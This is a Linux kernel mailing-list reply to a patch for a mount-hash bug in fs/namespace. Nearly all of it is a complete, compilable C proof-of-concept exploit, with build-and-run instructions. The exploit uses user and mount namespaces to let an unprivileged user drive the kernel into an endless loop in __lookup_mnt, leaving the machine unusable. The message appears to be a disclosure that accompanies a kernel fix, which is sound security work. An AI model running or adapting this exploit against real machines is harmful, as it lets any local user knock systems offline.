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SubjectRe: [PATCH 1/2] fs/namespace: don't clobber mnt_hash.next while umounting
On 2014/03/19 22:22, Max Kellermann <mk@cm4all.com> wrote:
> In the presence of user+mount namespaces, this bug can be exploited by
> any unprivileged user to stall the kernel (denial of service by soft
> lockup).

Proof-of-concept exploit attached.
/*
* Exploit for linux commit 48a066e72d970a3e225a9c18690d570c736fc455:
* endless loop in __lookup_mnt() because the mount_hashtable does not
* have enough RCU protection.
*
* How to use:
*
* gcc -D_GNU_SOURCE -std=gnu99 -o rcumount rcumount.c && ./rcumount
*
* Wait a few minutes until "rcu_sched self-detected stall" appears.
* The machine is now unusable.
*
* Author: Max Kellermann <max@duempel.org>
*/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sched.h>
#include <sys/mount.h>
#include <sys/stat.h>

static void stress(void) {
/* make all mounts private so our namespace "owns" them */
mount(NULL, "/", NULL, MS_PRIVATE|MS_REC, NULL);

while (1) {
/* stress the mount_hashtable which will at some point modify
a list_head which is rcu-protected but still referenced by
another kernel thread; this may or may not lead this other
kernel thread into an endless loop inside __lookup_mnt()
never sees the head again */
if (mount("none", "/tmp", "tmpfs", 0, "size=16M,nr_inodes=256") == 0)
umount2("/tmp", MNT_DETACH);

/* ask the kernel to walk the mount hash, which may trigger
the __lookup_mnt() */
struct stat st;
stat("/tmp/..", &st);
}
}

static int fn(void *arg) {
(void)arg;

/* launch child processes */
for (unsigned i = 0; i < 32; ++i) {
if (fork() == 0) {
stress();
exit(0);
}
}

/* cleanup */
int status;
do {} while(wait(&status) > 0);
return 0;
}

int main(int argc, char **argv) {
/* create a new user+vfs namespace which allows us to mount() */
char stack[65536];
clone(fn, stack + sizeof(stack), SIGCHLD|CLONE_NEWNS|CLONE_NEWUSER, NULL);

/* cleanup */
int status; wait(&status);
}
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